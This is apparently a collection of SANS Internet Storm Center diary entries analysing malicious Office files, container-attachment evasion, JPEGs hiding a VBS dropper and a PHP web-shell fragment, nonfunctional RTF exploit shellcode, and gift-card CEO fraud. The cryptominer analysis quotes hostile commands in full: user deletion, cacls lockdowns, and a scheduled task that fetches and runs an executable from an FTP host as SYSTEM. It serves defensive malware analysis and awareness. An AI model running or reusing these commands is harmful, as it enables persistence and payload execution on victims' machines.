%%cve:2019-0550%%	No	No	Less Likely	Less Likely	Critical	7.6	6.8
%%cve:2019-0551%%	No	No	Less Likely	Less Likely	Critical	7.6	6.8
Windows Kernel Information Disclosure Vulnerability
%%cve:2019-0536%%	No	No	Less Likely	Less Likely	Important	4.7	4.2
%%cve:2019-0549%%	No	No	Less Likely	Less Likely	Important	4.7	4.2
%%cve:2019-0554%%	No	No	Less Likely	Less Likely	Important	4.7	4.2
%%cve:2019-0569%%	No	No	More Likely	More Likely	Important	5.5	5.5
Windows Runtime Elevation of Privilege Vulnerability
%%cve:2019-0570%%	No	No	Less Likely	Less Likely	Important	7.8	7.8
Windows Subsystem for Linux Information Disclosure Vulnerability
%%cve:2019-0553%%	No	No	Less Likely	Less Likely	Important	4.7	4.2

---
Johannes B. Ullrich, Ph.D. , Dean of Research, SANS Technology Institute
Twitter|

Reader Robert received an encrypted, malicious office document and promptly submitted this email to the ISC.

An email saved as a .msg file can be analyzed with oledump.py:

Stream 3 contains the attachment (we explained in diary entry "Peeking into msg files - revisited" how to identify streams in msg files):

It is encrypted (cfr stream 6).

Plugin plugin_office_crypto can help identify how the document is encrypted:

It needs to be decrypted to analyze its content. There are a couple of tools that can help you decrypt Office documents, but you need to know the password. I put together a tool, msoffcrypto-crack.py, to do a dictionary attack:

The password is simple enough (1234) to be in msoffcrypto-crack's embedded password list (based on John the Ripper). And then the tool can also be used to decrypt the office document and output it to stdout (with option -o -):

It's a downloader:

msoffcrypto-crack.py can also help when the password is not in the embedded dictionary. You can provide your own dictionary with option -p, or you can use option -e to build a dictionary.

When malware authors email victims encrypted Word documents, they have to include the password to open the document, otherwise the content can not be decrypted and thus macros will not execute. When you have the email, you can look into the message to see if it contains a password:

Or you can pass the complete content of the email message to msoffcrypto-crack.py with option -e, and it will build a dictionary based on the words inside the message:

msoffcrypto-crack.py is a convenience tool. If the password is simple, it's probably in the embedded dictionary and thus you don't need to know the password. The tool also accepts the document via stdin, and it can output the decrypted document via stdout. And if the password is not in the embedded dictionary, you can let the tool extract it from the email.

It's a Python tool, completely based on Python module msoffcrypto. In other words, it's extremely slow compared to John the Ripper and Hashcat. But it's handy when the password is simple or included in the email.

 

Didier Stevens
Senior handler
Microsoft MVP
blog.DidierStevens.com DidierStevensLabs.com

We were informed about a malicious email campaign that uses .iso and .tar attachments.

We've covered .iso attachments before in diary entry "Malicious .iso Attachments": the .iso contains a malicious executable and can be opened with vanilla Windows 8 and later.

For .tar attachments, it's a bit different. The .tar attachment also contains a malicious executable (tar is an Unix archive format), but it can not be opened with vanilla Windows. Archiving software like the popular WinZip has to be installed, for the user to be able to open the .tar attachment.

Adversaries use .tar files for the same reason as .iso files:

1) the malware is contained in a container file, and can thus more easily evade detection

2) the "mark-of-the-web" is not propagated

The "mark-of-the-web" is metadata that indicates that a file originated from the Internet, and has thus a lower trust value. It is implemented with alternate data streams. Applications like Outlook create this metadata: when an attachment is opened or saved to disk, the metadata is created to mark it as originating from the Internet.

Here is a .tar file (Dialog42.tar, containing Dialog42.exe) with metadata to mark it as originating from the Internet:

When the .tar file is opened with WinZip to extract the .exe file, the metadata is not propagated to the extracted .exe file:

When the executable is started, no warning is displayed:

If the "mark-of-the-web" would have been propagated (e.g. the metadata would have been copied from the container to the extracted files), then the user would receive a warning before the file was executed:

Using less popular container formats on Windows allows malware authors to evade detection and reduce the number of alerts, at the risk of ending up on a Windows machine that can not open the container.

Didier Stevens
Senior handler
Microsoft MVP
blog.DidierStevens.com DidierStevensLabs.com

The JPEG image I wrote about in yesterday's diary entry "A Malicious JPEG?" reminded me of another example that was mentioned on Twitter a couple of weeks ago.

The JPEG image mentioned in that Tweet (71dedb3a79245edb0b4987c2754f515c) is indeed a valid JPEG:

In this report by jpegdump.py, we can see that this JPEG image is composed of all the right segments. But notice that there is data appended after the End Of Image (EOI) segment: entry 13 *trailing*.

We can select entry 13 to take a peek inside:

It's a VBS script that writes a file to disk and executes it. The dropped file is embedded as a long hexadecimal string: this can be extracted with base64dump.py:

The embedded file is a malicious executable (MZ): ff5e1f27193ce51eec318714ef038bef. This is a Ramnit worm sample, first submitted to VirusTotal in 2010 (the JPEG file was first submitted in December 2018).

Like the JPEG image discussed in yesterday's diary entry, the malicious content of this JPEG image will not execute when the image is viewed with an image viewer or browser.

For the script to execute, this JPEG file has to be opened as an HTML application (HTA). mshta.exe, the application that executes HTA files, ignores all the binary data of the JPEG image and parses and executes the script between the <SCRIPT> tags. This can be achieved by saving the JPEG image with .hta extension, and then launch it. Or by running mshta.exe with an URL as argument that points to this JPEG image.

Didier Stevens
Senior handler
Microsoft MVP
blog.DidierStevens.com DidierStevensLabs.com

I was given a JPEG image detected by an anti-virus. As you can see on VirusTotal, several AVs detect this JPEG image. Could I tell if this image could have infected the Windows machine it was found on?

Let's take a look.

FF D8 is the first segment of a JPEG image (SOI: Start Of Image).This is indeed a JPEG file, and we can analyze it with a tool I developed to analyze JPEG files: jpegdump.py:

jpegdump produces a list of the segments found inside the jpeg image. The 3rd segment, FF FE or COM, is a comment. jpeg images can contain comments, but it's rather unusual to find them in jpeg images.

We can select the COM segment  to see what's inside:

It contains a PHP command, and that's what triggers the AVs on VirusTotal: I removed the PHP command, and the jpeg no longer triggers AVs on VirusTotal.

This image can not infect a Windows machine when it is viewed. Comment segments are parsed and ignored by image viewers (including browsers), they are not executed.

So why does this image trigger AVs, and why does it contain this comment?

Images like these have been going around for several years (this one was actually first submitted to VirusTotal in 2013): they are used on compromised servers, to hide a web shell. To evade detection, adversaries split up the components of their web shell over several files, sometimes even over different servers. A PHP eval command like this is hidden inside a file like an image, to be then retrieved by another component and executed.

China Chopper is an old example of such a web shell, that has been documented in depth.

If you find such a file on a Windows machine (for example in the browser cache), the Windows machine has not been infected. No reason to worry. Unless it was downloaded from a server you own, then you have to take a close look at that server.

If you find such a file on a server, especially on a PHP webserver, then there's a high probability that your server is compromised.

I've been seeing such jpeg images for many years, because they trigger the anti-virus on Windows machines when users browse web servers that host such jpeg images. The PHP command is often hidden in the EXIF metadata, or sometimes just appended to the end of the jpeg image (after FF D9 EOI, End Of Image).

 

Didier Stevens
Senior handler
Microsoft MVP
blog.DidierStevens.com DidierStevensLabs.com

The last day of 2018, I found an interesting Windows cmd script which was uploaded from India (SHA256: dff5fe50aae9268ae43b76729e7bb966ff4ab2be1bd940515cbfc0f0ac6b65ef) with a very low VT score[1]. The script is not obfuscated and contains a long list of commands based on standard Windows tools. Here are some examples:

It removes existing users and kills processes:

net1 user mm123$ /del
net1 user admin1$ /del
net1 user sysadm05 /del
taskkill /f /im help.exe /im doc001.exe /im dhelllllper.exe /im DOC001.exe /im dhelper.exe /im conime.exe /im a.exe

It changes access rights on executable files:

attrib -s -h -r C:\Users\Default\AppData\Local\Temp\*.exe
attrib -s -h -r C:\Users\Default\AppData\Roaming\Tempo\*.exe
attrib -s -h -r C:\Users\Default\AppData\Roaming\*.exe
attrib -s -h -r C:\Users\asp\AppData\Local\Temp\*.exe
attrib -s -h -r C:\Users\asp\AppData\Roaming\Tempo\*.exe
attrib -s -h -r C:\Users\asp\AppData\Roaming\*.exe
attrib -s -h -r C:\Users\administrator\AppData\Local\Temp\*.exe
attrib -s -h -r C:\Users\administrator\AppData\Roaming\Tempo\*.exe
attrib -s -h -r C:\Users\administrator\AppData\Roaming\*.exe
cacls C:\Users\asp\AppData\Roaming\Tempo\*.exe /e /d everyone
cacls C:\Users\administrator\AppData\Roaming\Tempo /e /d everyone
cacls C:\Users\asp\AppData\Roaming\Tempo\*.exe /e /d system
cacls C:\Users\Default\AppData\Roaming\Tempo\*.exe /e /d everyone
cacls C:\Users\administrator\AppData\Roaming\Tempo /e /d system
cacls C:\Users\Default\AppData\Roaming\Tempo /e /d system
cacls C:\Users\Default\AppData\Roaming\Tempo /e /d everyone
cacls C:\Users\Default\AppData\Roaming\Tempo\*.exe /e /d system

It creates scheduled tasks for persistence:

schtasks /create /tn "Mysa3" /tr "cmd /c echo open ftp[.]1226bye[.]xyz>ps&echo test>>ps&echo 1433>>ps&echo get s.rar c:\windows\help\lsmosee.exe>>ps&echo bye>>ps&ftp -s:ps&c:\windows\help\lsmosee.exe" /ru "system"  /sc onstart /F

Files are downloaded from a FTP server. The downloaded PE files is in the case above a cryptominer (SHA256: 7f78d8a2cf889230fcd0dcd3d12418835c6c2e37ea396c13ae5222eccd978e8a[2]). It downloads more interesting files, again from a FTP server. One of them is a text file containing a list of processes to kill:

lsmose1.exe,C:\Windows\debug\lsmose1.exe,0
conime.exe,C:\Program Files (x86)\Common Files\conime.exe,1
lsmosee1.exe,c:\windows\help\lsmosee1.exe,1
1.exe,c:\windows\debug\xmrstak_cuda_backend_cuda10_0.dll,1
lsazs.exe,c:\windows\system\lsazs.exe,1
tasksche.exe,c:\windows\tasksche.exe,1
Zationa.exe,C:\ProgramData\Microsoft\Zational\Zationa.exe,1
csrs.exe,C:\ProgramData\Microsoft\Natiodnal\csrs.exe,1
shennong.bat,C:\Windows\SysWOW64\shennong.bat,1
svshpst.exe,C:\Program Files (x86)\Common Files\svshpst.exe,1
spoolvs.exe,C:\Users\Administrator\AppData\Roaming\Microsoft\spoolvs.exe,1
svchsot.exe,C:\Program Files\Common Files\System\svchsot.exe,1
xmrig.exe,C:\Users\Administrator\AppData\Roaming\Microsoft\xmrig.exe,1
srvany.exe,C:\Windows\IIS\srvany.exe,1
WinSCV.exe,C:\WINDOWS\temp\WinSCV.exe,1
csrswz.exe,C:\Program Files\Common Files\csrswz.exe,1
csrs.exe,C:\Windows\IIS\csrs.exe,1
seser.exe,c:\windows\syswow64\seser.exe,1
severxxs.exe,C:\Windows\Temp\severxxs.exe,1
mssecsvc.exe,c:\windows\mssecsvc.exe,1
mssecsvr.exe,c:\windows\mssecsvr.exe,1
dsbws.exe,c:\windows\syswow64\dsbws.exe,1

Powershell scripts were also downloaded and executed to perform interesting activities. The most interesting one? The infected systems connect to another FTP server and upload a flat file based on the victim’s IP addresses: ‘<publicip>_<localip>.txt’. Files contain: the Windows version, the CPU usage (percentage) and a list of all running processes. Once a file is uploaded, I tried to access some of them but another process on the malicious FTP server was collecting them in real time. However, it was possible to list them (well most of them). I wrote a quick script to keep an eye on the FTP server and left it running for 2 days. 35984 unique IP addresses were collected! The top 5 of infected countries is:

• Russia
• China
• Taiwan
• Ukraine
• India

Who said that cryptominers are not popular?

[1] https://www.virustotal.com/#/file/dff5fe50aae9268ae43b76729e7bb966ff4ab2be1bd940515cbfc0f0ac6b65ef/detection
[2] https://www.virustotal.com/#/file/7f78d8a2cf889230fcd0dcd3d12418835c6c2e37ea396c13ae5222eccd978e8a/detection

Xavier Mertens (@xme)
Senior ISC Handler - Freelance Cyber Security Consultant
PGP Key

Most people are very helpful and try to be good neighbors and citizens.  This is even more prevalent with the holiday season.  There are those who take advantage of the season and people's helpfulness in order to scam them out of money.  One that is hitting right now, with a very targeted approach, are gift card scams.  These have not just occurred during the holidays, but there are more reports of them occurring during the season of giving.  The flow of the scam is generally the same for most of these that are being reported.  An individual is targeted by someone purporting to be their management from higher up in the chain of command.  The request is usually via email with a urgent demand for the purchase of gift cards to give to clients.  The attacker has done their research to learn the personnel that work in the particular office.  Here is an example of one of the scams that was submitted to us by Keegan Mills.  The names have been changed/obfuscated in the incident.

Background information: "Spoofed_Pres" is the president/CEO of the company. Her contact information is widely distributed.  The initial target, "Target_One", was very new to the company in a junior position.  According to Keegan: "We were a bit surprised the actors even found her as a contact."  Due to the number of emails exchanged (over 30) in the attempt to fulfil this request, I am only showing a few of the key one's here in the thread.

The first contact came as an urgent request from the CEO to see if "Target_One" was in the office.  The name that appeared was the correct name of the CEO, but it was not the correct email address:

 

Once Target_One responded that they were in the office, the directions followed:

 

Target_One contacted the correct POC at the company to get the company card and help was enlisted from two other people (at one point three others) in order to fulfil the request for the urgent gift cards.  However, there was an issue with the credit card not working at the store.  At this point, Target_One is instructed to use their own funds to buy the cards and they will be reimbursed. 

 

Also, as soon as they were able to get the gift cards, they should send a picture of the PIN immendiately.  This was a reoccuring theme through the email exchange.  They could not get that many cards from a single location, so they were attempting multiple stores.  Also, commute to get to stores factors into the time this scenario plays out.

 

This entire effort last for about five hours when it was finally realized that it was not a legitmate email from the CEO/President.   I don't know if any gift cards were actually purchased, however, think about the time lost and cost salary wise:  five hours of salary for three people at a minimum!  Then there is the time to work the incident and do any mitigation afterwards.

We received several examples of these and the verbiage is not verbatim between them.  Here is another example of one (Thank you Brad Theodore):

 

I am including this exchange for you read on your own if you wish.  Its another example of the gift card attempts (thank you Chris Rovers) and a user who had a conversation with the scammer, before questioning if they should really be doing this:  https://isc.sans.edu/diaryimages/files/GiftCardPhish_Anonymized.txt

Before you think this could never happen in your company, be careful!  This was a targeted attack, not just a phishing attempt.  A new employee gets an urgent email from a superior that asks them for help immediately.  They will jump through hoops to help!!  Especially if the superior is in a meeting and needs it ASAP.  The attackers are taking the time to do their research and change their tactics.  We need to make sure we are taking the time to really train our employees as well.  

Maldoc 15ee2c2f3f01eda532b91dff9f4bcc53 is a malicious RTF document with an exploit for an old vulnerability (%%cve:2010-3333%%).

If you open this document in a sandbox, you will not see malicious activity. That's because the shellcode it contains, triggered by the exploit, is nonfunctional. A static analysis is required to know more about this maldoc.

A static analysis is not too difficult. It's an RTF document, and can thus be analyzed with rtfdump.py:

There are not many items, and we can see that item 11 contains many hexadecimal characters (h=938).

This can be decoded with the following command:

From the anti-virus alerts on VirusTotal, we know that there is an exploit in this document. String AAAA... is often used to overflow buffers.

 And at the end we see a small command. If you pay close attention to the dump, you might even reconstruct the string urlmon.

So this is very likely shellcode, probably a downloader. But where is the URL?

Let's write this binary data to disk and analyze it with NASM's disassembler:

This is not shellcode, but if we look after the buffer overflow string AAA... (0x41 0x41 0x41...), we see a jump instruction, and more importantly, a reference to FS 0x30.

On Windows 32-bit, the FS segment register is used to access the Thread Information Block. And offset 0x30 gives access to the Process Environment Block. These data structures are often accessed by shellcode to lookup Win32 API addresses.

Hence, it's very likely that address 0xEF is the entrypoint of the shellcode. We can try that out with the shellcode emulator scdbg: it has an option to provide the entrypoint (-foff). We'll let the emulation start from address EF:

This is indeed shellcode and 0xEF is the entrypoint: this shellcode downloads a payload, writes it to disk as a.exe and then executes it. But we see no URL.

Let's grep for URLDownloadToFile and see what gets written on the stack (option -vv increases the verboseness to a level where we see the registry values for each instruction emulation):

Register edi contains the address of the URL: 0x004011D5. What do we find at this address? Nothing:

This shellcode can't download anything, because the malware author made a mistake and did not include the URL.

If you really want to be shure that this shellcode is a downloader, and that the only thing missing is the URL, you can add your own URL to the shellcode and emulate it. This can be done with option -spoke (string poke): this option allows you to write a string to memory before the shellcode gets emulated. Let's write a URL at address 0x4011D5 like this:

This confirms it: the emulated shellcode now downlaods from the URL we provided.

It doesn't happen often, but you can be in a position that you have to analyze non-working malware. Here, our analysis could not reveal the payload, simply because the URL is missing.

There are functional variants of this exploits on VirusTotal, like this one.

You can even find a sample on GitHub.

Didier Stevens
Senior handler
Microsoft MVP
blog.DidierStevens.com DidierStevensLabs.com

I want to inspire you to take the time to create something in 2019. A program, a protocol, a policy, a howto, ... Something, anything, that brings you out of your comfort zone.

It doesn't have to be something complex. Simple works too.

The process of creation is important, not so much the end result (the journey matters more than the destination here).

Because you want this creation process to help you acquire new skills and gain new understandings.

If you can, make something that you will use, because that will motivate you to continue your yourney.

It doesn't have to be something new. Making a wheel is not the same as "reinventing the wheel". When you want to learn how to make wheels, you're not reinventing wheels.

 

 

I started making my PDF tools in 2008. Not because there were no "low-level" PDF analysis tools (PDF Structazer was the first, if I'm not mistaken), but because I wanted to understand the internals of PDFs. Making tools to parse PDF documents was and still is a very interesting journey for me. One day, I want to start another journey: rewrite my PDF tools, because they have evolved incrementaly while my PDF understanding grew, and I would develop them quite differently now with all I've learned during this journey. But that is another story.

Choose a stimulating journey! Acquire new skills, gain a deeper understanding along the way! Don't worry about the destination.

 

Happy New Year from the Internet Storm Center!

Didier Stevens
Senior handler
Microsoft MVP
blog.DidierStevens.com DidierStevensLabs.com